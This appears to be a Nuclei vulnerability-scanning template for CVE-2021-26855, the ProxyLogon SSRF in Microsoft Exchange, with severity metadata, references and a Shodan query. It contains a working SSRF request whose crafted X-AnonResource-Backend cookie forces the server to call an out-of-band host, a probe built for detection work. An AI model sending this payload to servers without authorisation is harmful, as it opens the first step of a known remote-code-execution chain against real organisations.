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id : CVE-2021-26855
info :
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name : Microsoft Exchange Server SSRF Vulnerability
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author : madrobot
severity : critical
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description : This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
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reference :
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- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
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- https://proxylogon.com/#timeline
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- https://web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
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- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
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- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
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remediation : Apply the appropriate security update.
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2021-26855
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cwe-id : CWE-918
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epss-score : 0.97537
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cpe : cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*
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metadata :
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max-request : 1
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shodan-query : vuln:CVE-2021-26855
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vendor : microsoft
product : exchange_server
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tags : cve,cve2021,ssrf,rce,exchange,oast,microsoft,kev
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http :
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- raw :
- |
GET /owa/auth/x.js HTTP/1.1
Host : {{Hostname}}
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Cookie : X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;
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matchers :
- type : word
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part : interactsh_protocol # Confirms the HTTP Interaction
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words :
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- "http"